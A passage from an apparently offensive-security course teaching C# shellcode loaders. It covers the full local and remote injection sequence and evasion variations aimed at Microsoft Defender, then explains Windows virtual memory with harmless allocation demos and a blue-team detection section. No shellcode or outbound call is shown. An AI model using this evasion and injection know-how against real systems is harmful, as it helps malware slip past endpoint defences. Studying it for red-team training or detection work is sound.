        if (found.Length == 0)
        {
            Console.WriteLine("[-] " + target + " is not running.");
            return;
        }

        int pid = found[0].Id;
        Console.WriteLine("[+] Found " + target + ".exe with PID: " + pid);

        IntPtr handle = OpenProcess(0x0400, false, pid);
        if (handle == IntPtr.Zero)
        {
            Console.WriteLine("[-] OpenProcess failed.");
            return;
        }

        Console.WriteLine("[+] Got handle to " + target + ".exe: 0x" +
            ↪ handle.ToString("X"));

        CloseHandle(handle);
        Console.WriteLine("[+] Handle closed.");
    }
}

```

Run with `dotnet run` (targets explorer by default) or `dotnet run -- notepad` (targets notepad if it is running).

4.7.11 Part 11: The Complete Loader Pattern

Every loader in Documents 05 through 10 follows the same sequence. Now that you understand each function, here is the full pattern:

- Step 1: Read encrypted shellcode from a file on disk (`File.ReadAllBytes` from Document 02)
- Step 2: Get the decryption key from the command line (`args` from Document 02)
- Step 3: Decrypt the shellcode using XOR (`TransformData` from Document 02)
- Step 4: Request read-write RAM from Windows (`VirtualAlloc` with `0x04`)
- Step 5: Copy decrypted shellcode into that RAM (`Marshal.Copy`)
- Step 6: Zero out the shellcode from the C# array (`Array.Clear`)

Step 7: Change the RAM permissions to executable (VirtualProtect with 0x20)

Step 8: Create a new thread at the shellcode address (CreateThread)

Step 9: Wait for the thread to finish (WaitForSingleObject)

For remote injection (putting shellcode into another program), steps 4 through 8 change:

Step 4: Open the target program (OpenProcess)

Step 5: Request RAM inside the target program (VirtualAllocEx)

Step 6: Copy shellcode into the target program's RAM (WriteProcessMemory)

Step 7: Change RAM permissions in the target program (VirtualProtectEx)

Step 8: Create a thread in the target program (CreateRemoteThread)

The idea is the same: get shellcode bytes into executable RAM and tell the CPU to run them. The only difference is whether the RAM is in your own program or in another program.

Document 05 builds the first real working loader using this pattern.

4.8 Compilation and Execution

For every example:

1. On the dev box, open `cd C:\Users\ammulu\Desktop\CSharpLab\Lesson`
2. Replace Program.cs with the example code
3. Run: `dotnet run`
4. For programs with arguments: `dotnet run -- notepad`

The MessageBox example needs the Windows desktop (it shows a visual dialog box). All other examples work from any terminal.

4.9 Confirming Success

After this document, verify:

- ☐ You understand that RAM is a rectangular chip on your motherboard that stores data temporarily while programs run
- ☐ You understand that programs ask Windows to do things by calling Windows API functions
- ☐ You know that DLL files in `C:\Windows\System32\` contain collections of these functions
- ☐ You know what P/Invoke is (a C# feature that lets you call Windows functions using DllImport)
- ☐ You can describe a Windows function with [DllImport] and call it from C#
- ☐ You called MessageBox and saw a dialog box on screen
- ☐ You called GetCurrentProcessId and verified the PID in Task Manager
- ☐ You understand that a handle is a reference number Windows gives to your program for a resource
- ☐ You can call VirtualAlloc to request a chunk of RAM with specific permissions
- ☐ You understand why DEP stops the CPU from executing code in regular C# arrays
- ☐ You can use Marshal.Copy to put bytes into VirtualAlloc RAM
- ☐ You can use VirtualProtect to change RAM permissions to executable
- ☐ You can use CreateThread to start a new thread at a RAM address
- ☐ You can use WaitForSingleObject to keep the program alive while the thread runs
- ☐ You understand the import table and why DllImport puts function names into it
- ☐ You can use GetModuleHandle and GetProcAddress to find functions without DllImport

- You can find a running program by name and open it with `OpenProcess`

4.10 What Was Gained

You now know how to call Windows functions from C#. Every C# program that interacts with the Windows operating system uses the `DllImport` pattern you learned here.

The specific functions you learned are the building blocks of every loader:

- **VirtualAlloc** requests a chunk of RAM from Windows with the permissions you choose
- **Marshal.Copy** puts your shellcode bytes into that RAM
- **VirtualProtect** changes the RAM permissions so the CPU can execute the bytes as code
- **CreateThread** creates a new thread that starts running at the shellcode's address
- **WaitForSingleObject** keeps the program alive while the shellcode thread runs
- **GetModuleHandle** + **GetProcAddress** find functions while the program runs so their names stay out of the import table
- **OpenProcess** gives you a handle to another running program for injection

The differences between the 8 loaders are which evasion techniques they add on top of this pattern: XOR encryption (Document 06), direct syscalls that bypass Defender's hooks (Document 07), patching AMSI (Document 08), reflective DLL injection (Document 09), and everything combined (Document 10).

4.11 Common Threats and Variations

4.11.1 Variation 1: Calling `ntdll.dll` Instead of `kernel32.dll`

Instead of calling `VirtualAlloc` from `kernel32.dll`, you can call `NtAllocateVirtualMemory` from `ntdll.dll`. This skips `kernel32.dll` entirely. Defender places its hooks inside `kernel32.dll` functions, so calling `ntdll.dll` bypasses those hooks. Document 07 covers this in full.

4.11.2 Variation 2: Callback Functions Instead of `CreateThread`

`CreateThread` is a function Defender watches closely. Some loaders avoid `CreateThread` by using Windows functions that accept a callback. A callback is a function address that Windows calls for you. For example, `EnumChildWindows` accepts a function address and calls it for every window on screen. If you pass your shellcode's address as the callback, Windows calls your shellcode without you ever calling `CreateThread`. Defender has a harder time detecting this because `EnumChildWindows` is used by many legitimate programs.

4.11.3 Variation 3: Replacing `WriteProcessMemory`

`WriteProcessMemory` is heavily monitored. Some loaders use `NtWriteVirtualMemory` from `ntdll.dll` instead, or they use shared memory sections (a feature where two programs share a chunk of RAM) to move data between processes without calling `WriteProcessMemory` at all.

4.12 Detection and Defense (Blue Team Perspective)

Import table analysis. When a .NET binary is compiled with `DllImport` declarations, those function names appear in the file's import table. YARA rules can scan binaries for suspicious combinations like `VirtualAlloc` + `CreateThread` + `WriteProcessMemory`. Florian Roth's YARA rule repository contains rules for known offensive .NET tool patterns.

Blue team action: scan all new .NET executables for suspicious import table combinations. Alert on binaries that import injection-related API functions.

API hook monitoring. EDR (Endpoint Detection and Response) products hook functions like `VirtualAlloc` and `CreateThread` inside `kernel32.dll`. Every call is logged with its parameters: how much RAM was requested, what permissions were set, what address the new thread starts at. A program that requests executable RAM and starts a thread at that address triggers an alert.

Blue team action: configure EDR to alert when `VirtualAlloc` is called with executable permissions followed by `CreateThread` with a start address in the allocated chunk.

RAM permission change detection. Legitimate programs rarely call `VirtualProtect` to add execute permission to existing RAM. A program that writes data into RAM and then changes that RAM to executable is following the shellcode injection pattern.

Blue team action: monitor `VirtualProtect` calls that add execute permission. Alert when a process changes RAM from writable to executable.

Dynamic resolution detection. Programs that call `GetProcAddress` to find `VirtualAlloc` or `CreateThread` while running are using a technique common in malware. Legitimate programs typically declare their imports at compile time.

Blue team action: log `GetProcAddress` calls and flag when the function name being resolved is `VirtualAlloc`, `CreateThread`, `WriteProcessMemory`, or other injection-related functions.

4.13 What Comes Next

Document 04 ([lab/materials/04_memory_fundamentals.md](#)) goes deeper into how Windows manages RAM. You will learn what virtual memory is (how Windows gives every program its own private address space even when they all share the same physical RAM chip), what pages are (how Windows divides RAM into fixed-size blocks), how page permissions work, and the difference between working with your own program's RAM and another program's RAM. This gives you the deeper understanding of what `VirtualAlloc` and `WriteProcessMemory` are actually doing when the loaders call them.

Document 04: Memory Fundamentals

- How Windows Manages RAM

5.1 Where We Are

You finished Documents 02 and 03. You can:

- Write C# programs with variables, loops, arrays, XOR encryption, file I/O, and command-line arguments
- Call Windows API functions from C# using DllImport and P/Invoke
- Use VirtualAlloc, Marshal.Copy, VirtualProtect, and CreateThread

Your lab has three machines: dev box (ammulu, 192.168.10.150) for compiling (Defender disabled), target (kimjongun, 192.168.10.100) with Defender at full defaults, and Kali (192.168.10.200) for shellcode and listeners. All coding in this document happens on the dev box.

5.2 Why This Is Next

In Document 03, you used VirtualAlloc, VirtualProtect, and CreateThread. You know what they do. But you used them without understanding what is actually happening inside Windows when you call them.

The loaders in Documents 05 through 10 make decisions based on how Windows manages RAM:

- Why does using VirtualAlloc with 0x04 first and then VirtualProtect with 0x20 make your loader harder for Defender to detect?
- When you call VirtualAllocEx to put RAM inside another program, what does “inside another program” actually mean?
- When Defender flags a program for requesting writable-executable RAM, what exactly is it detecting?

This document answers those questions.

5.3 How This Works

5.3.1 Your Computer's Physical RAM

Your computer has a rectangular chip on its motherboard called RAM (Random Access Memory). When your computer says “16 GB RAM” that is how much of this chip is installed. RAM is where programs actually run. When you double-click Chrome, Windows copies Chrome from your hard drive into RAM and runs it from there because RAM is thousands of times faster than a hard drive.

Two problems come up immediately:

Problem 1: Limited RAM. Your dev box has 8 GB of RAM. Right now, dozens of programs are running: Explorer, the taskbar, background services, Visual Studio, maybe Chrome or Notepad. Each needs RAM. But 8 GB is a fixed amount. What happens when they all need more than 8 GB combined?

Problem 2: Isolation. When Chrome gets a chunk of RAM and Notepad gets a different chunk, what stops Chrome from accidentally reading or writing into Notepad's chunk? If your shell-code loader runs, could it read passwords that another program stored in its RAM?

Windows solves both problems with a system called **virtual memory**.

5.3.2 Virtual Memory: Every Program Gets Its Own Private Address Space

Open Task Manager on your dev box (Ctrl+Shift+Esc). Click the Details tab. Look at the “Memory (private working set)” column. Add up the numbers for all running processes. The total is often more than the physical RAM your dev box has. How?

Windows does not give programs direct access to the physical RAM chip. Instead, Windows creates a private address space for each program. This is called virtual memory.

Here is how it works:

- Every program thinks it has its own private block of RAM that starts at address 0 and goes up to a very large number. On 64-bit Windows, each program's address space is 128 terabytes.
- This address space is not real physical RAM. It is a numbering system that Windows maintains.
- Windows keeps a **mapping table** for each program that translates virtual addresses to physical addresses. The CPU checks this table on every RAM access.

What isolation looks like in practice:

Chrome stores data at virtual address 0x7FF00000. Notepad stores data at virtual address 0x7FF00000. Those are NOT the same physical location. Chrome's 0x7FF00000 maps to one spot on the physical RAM chip. Notepad's 0x7FF00000 maps to a completely different spot. Chrome has no way to specify Notepad's physical location because Chrome does not even know where Notepad's data physically sits.

How total usage can exceed physical RAM:

Windows can take chunks of virtual memory that a program has not accessed recently and save them to a file on the hard drive called the **page file** (pagefile.sys). The physical RAM that held those chunks is now free for other programs. If the program tries to access that data again, Windows reads it back from the page file into physical RAM. This is called **paging**. It is slower, but it means programs can use more RAM than physically exists.

You can see the page file right now. Open File Explorer on your dev box, go to C:, and if hidden files are visible, you will see pagefile.sys.

5.3.3 What This Means for Shellcode

Local execution (your own process):

When your loader calls `VirtualAlloc`, Windows gives it a chunk of virtual addresses in the loader's own address space and maps them to physical RAM. The shellcode bytes exist at a virtual address that only your loader process can see. No other process can access those bytes.

Remote injection (another process):

When you use `VirtualAllocEx` to allocate RAM inside `explorer.exe`, Windows creates a chunk of virtual addresses in `explorer.exe`'s address space. Your loader uses `WriteProcessMemory` to copy shellcode into that chunk. After the copy, the shellcode belongs to `explorer.exe`. Your loader can exit, and the shellcode stays because it lives in `explorer.exe`'s RAM now.

5.3.4 Pages: How Windows Divides RAM

Windows does not manage RAM byte by byte. That would be too slow. Instead, Windows divides RAM into fixed-size blocks called **pages**.

On x86-64 systems (your dev box and target are both x86-64), each page is **4,096 bytes (4 KB)**.

Everything Windows does with RAM works in pages:

- You call `VirtualAlloc` and ask for **100 bytes** → Windows gives you **one full page (4,096 bytes)**. You cannot get less than one page.
- You ask for **5,000 bytes** → Windows gives you **two pages (8,192 bytes)** because 5,000 does not fit in one page.
- You call `VirtualProtect` to change permissions → the **entire page** changes. You cannot make half a page executable and the other half non-executable.

5.3.5 Page Permissions: What the CPU Allows

Every page has permissions that control what the CPU can do with it. The CPU checks these on every read, write, and execute. If a program violates the permissions, the CPU raises an exception and Windows crashes the program ("Access Violation").

The four permissions that matter:

Value	Name	Read	Write	Execute	Used For
0x04	PAGE_READWRITE	Yes	Yes	No	Data: variables, arrays, buffers
0x20	PAGE_EXECUTE_READ	Yes	No	Yes	Code: loaded .exe and .dll files
0x40	PAGE_EXECUTE_READWRITE	Yes	Yes	Yes	Suspicious: malware uses this
0x01	PAGE_NOACCESS	No	No	No	Guard pages, unallocated regions

0x04 (PAGE_READWRITE) is for data storage. You can read and write, but the CPU will crash if it tries to run code from here.

0x20 (PAGE_EXECUTE_READ) is for code. The CPU can run instructions and read data, but nobody can write to it. This is what Windows uses for loaded programs.

0x40 (PAGE_EXECUTE_READWRITE) is all permissions at once. This is what **Defender watches for**. Legitimate programs almost never need RAM that is both writable and executable at the same time. Malware uses 0x40 because it is simple: write shellcode, run it, done. Defender flags this immediately.

5.3.6 The Two-Step Allocation: Why It Matters

In Document 03, you learned the safe approach:

1. VirtualAlloc with **0x04** (read-write) → get writable pages
2. Marshal.Copy → write shellcode into those pages
3. VirtualProtect with **0x20** (execute-read) → make pages executable, remove write
4. CreateThread → start running the code

This is called **W^X** (Write XOR Execute): a page is either writable or executable, never both at the same time.

Why Defender cares:

A program that calls VirtualAlloc with 0x40 (all permissions at once) and then CreateThread at that address is a textbook shellcode injection pattern. Defender's behavioral analysis flags it immediately.

With the two-step approach, the pages are never writable and executable simultaneously:

- **While writing:** pages are read-write only. CPU cannot execute here.
- **After changing:** pages are execute-read only. Nobody can write here.

This is exactly what legitimate programs do. The .NET JIT compiler, web browsers running JavaScript, and Java's JVM all compile code at runtime using this same two-step approach. Your loader's behavior matches a legitimate runtime compiler.

5.3.7 How the CPU Enforces Permissions (DEP)

These permissions are not just software settings. The CPU hardware enforces them through **DEP** (Data Execution Prevention).

The CPU has a component called the **MMU** (Memory Management Unit). On every RAM access, the MMU checks the page table (the mapping table for virtual-to-physical addresses). Each page table entry contains:

- The physical address the virtual address maps to
- Permission bits: can you read, write, execute?

If the CPU tries to execute code from a page without execute permission, the MMU raises a hardware exception. Windows catches it and terminates the program. This happens at the hardware level, before any software check. There is no way to bypass DEP from user-mode code.

This is why you cannot put shellcode in a regular C# byte array and run it. C# arrays are stored in pages with PAGE_READWRITE permission. The .NET runtime never gives them execute permission. The MMU would crash your program before a single shellcode instruction ran.

5.3.8 Your Process vs. Another Process

Everything above is about your own process. For injection (Documents 09 and 10), you work with another process's virtual address space using these functions:

Your Process	Another Process	What It Does
VirtualAlloc	VirtualAllocEx	Request pages (Ex = external process)
Marshal.Copy	WriteProcessMemory	Copy bytes into pages
VirtualProtect	VirtualProtectEx	Change page permissions
CreateThread	CreateRemoteThread	Start a thread

The “Ex” functions take an extra parameter: a handle to the target process (from `OpenProcess`). The addresses they return are virtual addresses in the target process’s address space, not yours.

5.4 What Defender Does

Defender monitors RAM operations at multiple levels:

VirtualAlloc/VirtualAllocEx calls. Defender’s API hooks log every call. A single `VirtualAlloc` is normal. But `VirtualAlloc` with executable permissions followed by writing data and creating a thread matches the shellcode injection pattern.

Permission changes. `VirtualProtect` calls that add execute permission to previously writable pages are logged. Programs that write data and then make it executable are following a code injection pattern.

Cross-process operations. The combination of `OpenProcess` + `VirtualAllocEx` + `WriteProcessMemory` + `CreateRemoteThread` is the textbook injection sequence. Defender watches for this specifically.

RWX pages. Pages with `PAGE_EXECUTE_READWRITE` (0x40) are immediately suspicious. Legitimate programs almost never create them.

5.5 The Evasion Technique

This document teaches foundational concepts. The evasion techniques that build on them:

- **Two-step allocation (all loaders):** Never request 0x40. Use 0x04, write data, then change to 0x20.
- **Direct syscalls (Document 07):** Skip the hooked DLL functions and call the kernel directly.
- **Dynamic API resolution (Documents 03, 05-10):** Find functions at runtime so their names stay out of the compiled binary.
- **Injection into trusted processes (Documents 09-10):** Run shellcode inside `explorer.exe` or `svchost.exe`.

5.6 Getting the Loader Onto the Target

No loader in this document. All programs are learning exercises that run on your dev box (amulu, 192.168.10.150). They allocate and free RAM, change permissions, and demonstrate cross-process concepts. They do not contain or execute shellcode.

5.7 Teaching the Code

5.7.1 Part 1: Viewing Your Process's Memory Layout

Before writing code, open Task Manager on your dev box. Click the Details tab. Find any running process and look at its memory column. Each process has its own separate RAM usage because each has its own virtual address space.

Here is a C# program that shows your own process's memory information:

```
using System;
using System.Diagnostics;
```

`System.Diagnostics` gives you the `Process` class, which shows information about running programs.

```
class Program
{
    static void Main(string[] args)
    {
        Process me = Process.GetCurrentProcess();
```

`Process.GetCurrentProcess()` returns a `Process` object representing your own running program.

```
Console.WriteLine("[*] Process: " + me.ProcessName);
Console.WriteLine("[*] PID: " + me.Id);
```

Your process name and PID (process ID), the unique number Windows assigned when the program started.

```
Console.WriteLine("[*] Working Set (RAM in use): " +
    (me.WorkingSet64 / 1024 / 1024) + " MB");
```

Working set is the amount of physical RAM your process is currently using. This is what Task Manager shows in the “Memory” column. “Working set” is the official Windows term for pages that are currently in physical RAM, not paged out to the hard drive.

```
Console.WriteLine("[*] Virtual Memory Size: " +
    (me.VirtualMemorySize64 / 1024 / 1024) + " MB");
```

Virtual memory size includes pages in physical RAM AND pages paged out to the hard drive. This number is always larger than or equal to the working set.

```
Console.WriteLine("[*] Private Memory: " +
    (me.PrivateMemorySize64 / 1024 / 1024) + " MB");
```

Private memory is virtual memory that belongs only to your process. Some pages are shared between processes (for example, `kernel32.dll` code is loaded once and shared by all processes). Private memory is RAM that only your process uses.

```
        Console.WriteLine("[*] Number of threads: " + me.Threads.Count);
        Console.WriteLine("[*] Press Enter to exit...");
        Console.ReadLine();
    }
}
```

Here is the complete program:

```
using System;
using System.Diagnostics;

class Program
{
    static void Main(string[] args)
    {
        Process me = Process.GetCurrentProcess();

        Console.WriteLine("[*] Process: " + me.ProcessName);
        Console.WriteLine("[*] PID: " + me.Id);
        Console.WriteLine("[*] Working Set (RAM in use): " +
            (me.WorkingSet64 / 1024 / 1024) + " MB");
        Console.WriteLine("[*] Virtual Memory Size: " +
            (me.VirtualMemorySize64 / 1024 / 1024) + " MB");
        Console.WriteLine("[*] Private Memory: " +
            (me.PrivateMemorySize64 / 1024 / 1024) + " MB");
        Console.WriteLine("[*] Number of threads: " + me.Threads.Count);
        Console.WriteLine("[*] Press Enter to exit...");
        Console.ReadLine();
    }
}
```

Run it with `dotnet run`:

```
[*] Process: dotnet
[*] PID: 5128
[*] Working Set (RAM in use): 42 MB
[*] Virtual Memory Size: 2048 MB
[*] Private Memory: 28 MB
[*] Number of threads: 14
```

Notice the virtual memory size (2048 MB) is much larger than the working set (42 MB). Your program has 2 GB of virtual address space mapped but only 42 MB of physical RAM. Most of the virtual address space is either paged out or mapped but not actively being used.

The thread count (14) shows that even a simple C# program has many threads. The .NET runtime creates background threads for garbage collection (automatic RAM cleanup) and JIT compilation.

5.7.2 Part 2: Allocating Pages and Observing the Working Set

This program allocates pages with `VirtualAlloc` and shows how the working set changes.

```
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
```

Three using lines. `System.Runtime.InteropServices` gives you `DllImport` and `Marshal` for calling Windows functions.

```
class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(
        IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern bool VirtualFree(
        IntPtr lpAddress, uint dwSize, uint dwFreeType);
}
```

Same `DllImport` declarations from Document 03. `VirtualAlloc` requests pages, `VirtualFree` gives them back.

```
static void Main(string[] args)
{
    Process me = Process.GetCurrentProcess();

    me.Refresh();
    long before = me.WorkingSet64;
    Console.WriteLine("[*] Working set before allocation: " +
        (before / 1024) + " KB");
}
```

`me.Refresh()` updates the process information. Without `Refresh`, the values might be stale.

```
uint allocSize = 1024 * 1024;
IntPtr mem = VirtualAlloc(IntPtr.Zero, allocSize, 0x3000, 0x04);
```

Allocate 1 MB of RAM (1,048,576 bytes). Since each page is 4,096 bytes, this is 256 pages. Permissions are `0x04` (`PAGE_READWRITE`).

```
if (mem == IntPtr.Zero)
{
    Console.WriteLine("[-] VirtualAlloc failed.");
    return;
}
Console.WriteLine("[+] Allocated 1 MB (256 pages) at: 0x" + mem.ToString("X"));
```

Check for failure, then print the address.

```

for (int i = 0; i < (int)allocSize; i++)
{
    Marshal.WriteByte(mem + i, 0xAA);
}
Console.WriteLine("[+] Wrote 0xAA to all 1 MB.");

```

Write to every byte. `Marshal.WriteByte(address, value)` writes a single byte to a specific address. We write to every byte because of how Windows actually handles page allocation. When you call `VirtualAlloc` and ask for 1 MB, Windows does not immediately reach into the physical RAM chip and carve out 1 MB. It just creates an entry in its internal table saying “this program’s virtual addresses from here to here are reserved.” No physical RAM is consumed yet. Only when your program actually touches a page for the first time, by reading or writing to it, does Windows find a free 4 KB chunk on the physical chip and map it. This is called demand paging. If you just called `VirtualAlloc` and immediately read the working set number, the number would barely move. This loop writes to every byte of the 1 MB to force Windows to map all 256 pages right now, so the working set measurement before and after shows the full 1 MB increase.

```

me.Refresh();
long after = me.WorkingSet64;
Console.WriteLine("[*] Working set after allocation: " +
    (after / 1024) + " KB");
Console.WriteLine("[*] Difference: " +
    ((after - before) / 1024) + " KB");

```

The working set should have increased by about 1024 KB (1 MB).

```

VirtualFree(mem, 0, 0x8000);

me.Refresh();
long freed = me.WorkingSet64;
Console.WriteLine("[*] Working set after freeing: " +
    (freed / 1024) + " KB");
Console.WriteLine("[*] RAM returned: " +
    ((after - freed) / 1024) + " KB");
    }
}

```

After freeing the pages, the working set drops back down.

Here is the complete program:

```

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(
        IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);
}

```

```

[DllImport("kernel32.dll")]
static extern bool VirtualFree(
    IntPtr lpAddress, uint dwSize, uint dwFreeType);

static void Main(string[] args)
{
    Process me = Process.GetCurrentProcess();

    me.Refresh();
    long before = me.WorkingSet64;
    Console.WriteLine("[*] Working set before allocation: " +
        (before / 1024) + " KB");

    uint allocSize = 1024 * 1024;
    IntPtr mem = VirtualAlloc(IntPtr.Zero, allocSize, 0x3000, 0x04);
    if (mem == IntPtr.Zero)
    {
        Console.WriteLine("[-] VirtualAlloc failed.");
        return;
    }
    Console.WriteLine("[+] Allocated 1 MB (256 pages) at: 0x" + mem.ToString("X"));

    for (int i = 0; i < (int)allocSize; i++)
    {
        Marshal.WriteByte(mem + i, 0xAA);
    }
    Console.WriteLine("[+] Wrote 0xAA to all 1 MB.");

    me.Refresh();
    long after = me.WorkingSet64;
    Console.WriteLine("[*] Working set after allocation: " +
        (after / 1024) + " KB");
    Console.WriteLine("[*] Difference: " +
        ((after - before) / 1024) + " KB");

    VirtualFree(mem, 0, 0x8000);

    me.Refresh();
    long freed = me.WorkingSet64;
    Console.WriteLine("[*] Working set after freeing: " +
        (freed / 1024) + " KB");
    Console.WriteLine("[*] RAM returned: " +
        ((after - freed) / 1024) + " KB");
}
}

```

Expected output:

```

[*] Working set before allocation: 43008 KB
[+] Allocated 1 MB (256 pages) at: 0x1F0000
[+] Wrote 0xAA to all 1 MB.
[*] Working set after allocation: 44032 KB
[*] Difference: 1024 KB
[*] Working set after freeing: 43008 KB
[*] RAM returned: 1024 KB

```

VirtualAlloc added exactly 1 MB to the working set (1024 KB), and VirtualFree removed it.

5.7.3 Part 3: Page Alignment and Minimum Allocation

This program shows that Windows rounds everything up to page boundaries.

```
using System;
using System.Runtime.InteropServices;
```

```
class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(
        IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern bool VirtualFree(
        IntPtr lpAddress, uint dwSize, uint dwFreeType);
}
```

Same VirtualAlloc and VirtualFree from before.

```
static void Main(string[] args)
{
    Console.WriteLine("[*] Requesting different sizes to see page alignment:");
    Console.WriteLine();

    uint[] sizes = { 1, 100, 4096, 4097, 8000, 16384 };
```

An array of different sizes to test. Some fit in one page, some need two, some need four.

```
foreach (uint size in sizes)
{
    IntPtr mem = VirtualAlloc(IntPtr.Zero, size, 0x3000, 0x04);
    if (mem == IntPtr.Zero)
    {
        Console.WriteLine("[-] Failed for size " + size);
        continue;
    }
}
```

Loop through each size, allocate that many bytes.

```
uint pages = (size + 4095) / 4096;
uint actualBytes = pages * 4096;

Console.WriteLine("[+] Requested: " + size + " bytes");
Console.WriteLine("    Address: 0x" + mem.ToString("X"));
Console.WriteLine("    Pages used: " + pages +
    " (" + actualBytes + " bytes actual)");
Console.WriteLine();

VirtualFree(mem, 0, 0x8000);
}
```

```

    }
}

```

Calculate how many pages Windows actually used. $(\text{size} + 4095) / 4096$ rounds up to the next page. Print the result and free the pages.

Here is the complete program:

```

using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(
        IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern bool VirtualFree(
        IntPtr lpAddress, uint dwSize, uint dwFreeType);

    static void Main(string[] args)
    {
        Console.WriteLine("[*] Requesting different sizes to see page alignment:");
        Console.WriteLine();

        uint[] sizes = { 1, 100, 4096, 4097, 8000, 16384 };

        foreach (uint size in sizes)
        {
            IntPtr mem = VirtualAlloc(IntPtr.Zero, size, 0x3000, 0x04);
            if (mem == IntPtr.Zero)
            {
                Console.WriteLine("[-] Failed for size " + size);
                continue;
            }

            uint pages = (size + 4095) / 4096;
            uint actualBytes = pages * 4096;

            Console.WriteLine("[+] Requested: " + size + " bytes");
            Console.WriteLine("    Address: 0x" + mem.ToString("X"));
            Console.WriteLine("    Pages used: " + pages +
                " (" + actualBytes + " bytes actual)");
            Console.WriteLine();

            VirtualFree(mem, 0, 0x8000);
        }
    }
}

```

Output:

```

[+] Requested: 1 bytes → Pages used: 1 (4096 bytes actual)
[+] Requested: 100 bytes → Pages used: 1 (4096 bytes actual)

```

```
[+] Requested: 4096 bytes → Pages used: 1 (4096 bytes actual)
[+] Requested: 4097 bytes → Pages used: 2 (8192 bytes actual)
[+] Requested: 8000 bytes → Pages used: 2 (8192 bytes actual)
[+] Requested: 16384 bytes → Pages used: 4 (16384 bytes actual)
```

When you ask for 1 byte, you still get 4,096 bytes (one full page). When you ask for 4,097 bytes, you get 8,192 bytes (two pages). Your shellcode is usually a few hundred bytes, but Windows gives you at least one full 4 KB page. The unused bytes are zeros.

5.7.4 Part 4: Observing Permission Changes

This program shows the two-step permission transition:

```
using System;
using System.Runtime.InteropServices;
```

```
class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(
        IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtect(
        IntPtr lpAddress, uint dwSize,
        uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll")]
    static extern bool VirtualFree(
        IntPtr lpAddress, uint dwSize, uint dwFreeType);
```

Three DllImport declarations: VirtualAlloc, VirtualProtect, VirtualFree.

```
static string PermName(uint perm)
{
    switch (perm)
    {
        case 0x04: return "PAGE_READWRITE";
        case 0x20: return "PAGE_EXECUTE_READ";
        case 0x40: return "PAGE_EXECUTE_READWRITE";
        default: return "0x" + perm.ToString("X");
    }
}
```

A helper function that converts a permission number to a readable name.

```
static void Main(string[] args)
{
    IntPtr mem = VirtualAlloc(IntPtr.Zero, 4096, 0x3000, 0x04);
    if (mem == IntPtr.Zero)
    {
```

```

        Console.WriteLine("[~] VirtualAlloc failed.");
        return;
    }
    Console.WriteLine("[+] Allocated 1 page at: 0x" + mem.ToString("X"));
    Console.WriteLine("[*] Permission: PAGE_READWRITE (0x04)");
    Console.WriteLine("[*] CPU can: READ, WRITE. CPU cannot: EXECUTE.");
    Console.WriteLine();

```

Allocate one page with read-write permissions. At this point you can write data but the CPU cannot execute code here.

```

    Marshal.WriteByte(mem, 0xC3);
    Console.WriteLine("[+] Wrote 0xC3 (RET instruction) to the page.");
    Console.WriteLine("[*] Data is written. But CPU still cannot execute here.");
    Console.WriteLine();

```

Write one byte (0xC3 is the RET instruction, which returns immediately). The byte is written but the CPU still cannot run it as code because the page is read-write only.

```

    uint oldPerm;
    VirtualProtect(mem, 4096, 0x20, out oldPerm);
    Console.WriteLine("[+] Changed to PAGE_EXECUTE_READ (0x20).");
    Console.WriteLine("[*] Old permission was: " + PermName(oldPerm));
    Console.WriteLine("[*] CPU can now: READ, EXECUTE. CPU cannot: WRITE.");
    Console.WriteLine();

```

Change permissions from read-write to execute-read. Now the CPU can run the code, but nobody can write to this page anymore.

```

    Console.WriteLine("[*] The page went through two states:");
    Console.WriteLine("    State 1: READWRITE -> could write, could not execute");
    Console.WriteLine("    State 2: EXECUTE_READ -> can execute, cannot write");
    Console.WriteLine("[*] NEVER writable and executable at the same time.");

    VirtualFree(mem, 0, 0x8000);
}
}

```

Here is the complete program:

```

using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(
        IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtect(

```

```

    IntPtr lpAddress, uint dwSize,
    uint flNewProtect, out uint lpflOldProtect);

[DllImport("kernel32.dll")]
static extern bool VirtualFree(
    IntPtr lpAddress, uint dwSize, uint dwFreeType);

static string PermName(uint perm)
{
    switch (perm)
    {
        case 0x04: return "PAGE_READWRITE";
        case 0x20: return "PAGE_EXECUTE_READ";
        case 0x40: return "PAGE_EXECUTE_READWRITE";
        default: return "0x" + perm.ToString("X");
    }
}

static void Main(string[] args)
{
    IntPtr mem = VirtualAlloc(IntPtr.Zero, 4096, 0x3000, 0x04);
    if (mem == IntPtr.Zero)
    {
        Console.WriteLine("[-] VirtualAlloc failed.");
        return;
    }
    Console.WriteLine("[+] Allocated 1 page at: 0x" + mem.ToString("X"));
    Console.WriteLine("[*] Permission: PAGE_READWRITE (0x04)");
    Console.WriteLine("[*] CPU can: READ, WRITE. CPU cannot: EXECUTE.");
    Console.WriteLine();

    Marshal.WriteByte(mem, 0xC3);
    Console.WriteLine("[+] Wrote 0xC3 (RET instruction) to the page.");
    Console.WriteLine("[*] Data is written. But CPU still cannot execute here.");
    Console.WriteLine();

    uint oldPerm;
    VirtualProtect(mem, 4096, 0x20, out oldPerm);
    Console.WriteLine("[+] Changed to PAGE_EXECUTE_READ (0x20).");
    Console.WriteLine("[*] Old permission was: " + PermName(oldPerm));
